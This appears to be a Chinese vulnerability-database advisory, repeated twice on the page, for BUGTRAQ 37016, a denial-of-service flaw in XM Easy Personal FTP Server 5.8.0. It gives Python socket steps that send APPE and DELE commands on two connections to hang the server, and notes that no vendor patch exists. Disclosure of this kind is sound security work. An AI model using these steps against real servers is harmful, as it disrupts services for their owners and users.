VULHUB ™

BUGTRAQ ID: 37016 XM Easy Personal FTP Server是一款简单易用的个人FTP服务器工具。 用户登录到XM Personal FTP Server后对一个套接字连接使用APPE命令而对另一个连接使用DELE命令就会导致服务器停止响应。 第一个套接字连接： 1.sock.connect((hostname, 21)) 2.sock.send("user %s\r\n" %username) 3.sock.send("pass %s\r\n" %passwd) 4.sock.send("PORT 127,0,0,1,122,107\r\n") 5.sock.send("APPE "+ test_string +"\r\n") 6.sock.close() 第二个套接字连接： 1.sock.connect((hostname, 21)) 2.sock.send("user %s\r\n" %username) 3.sock.send("pass %s\r\n" %passwd) 4.sock.send("DELE "+ test_string +"\r\n") dxmsoft XM Easy Personal FTP Server 5.8.0 厂商补丁： dxmsoft ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.dxm2008.com/

BUGTRAQ ID: 37016 XM Easy Personal FTP Server是一款简单易用的个人FTP服务器工具。 用户登录到XM Personal FTP Server后对一个套接字连接使用APPE命令而对另一个连接使用DELE命令就会导致服务器停止响应。 第一个套接字连接： 1.sock.connect((hostname, 21)) 2.sock.send("user %s\r\n" %username) 3.sock.send("pass %s\r\n" %passwd) 4.sock.send("PORT 127,0,0,1,122,107\r\n") 5.sock.send("APPE "+ test_string +"\r\n") 6.sock.close() 第二个套接字连接： 1.sock.connect((hostname, 21)) 2.sock.send("user %s\r\n" %username) 3.sock.send("pass %s\r\n" %passwd) 4.sock.send("DELE "+ test_string +"\r\n") dxmsoft XM Easy Personal FTP Server 5.8.0 厂商补丁： dxmsoft ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.dxm2008.com/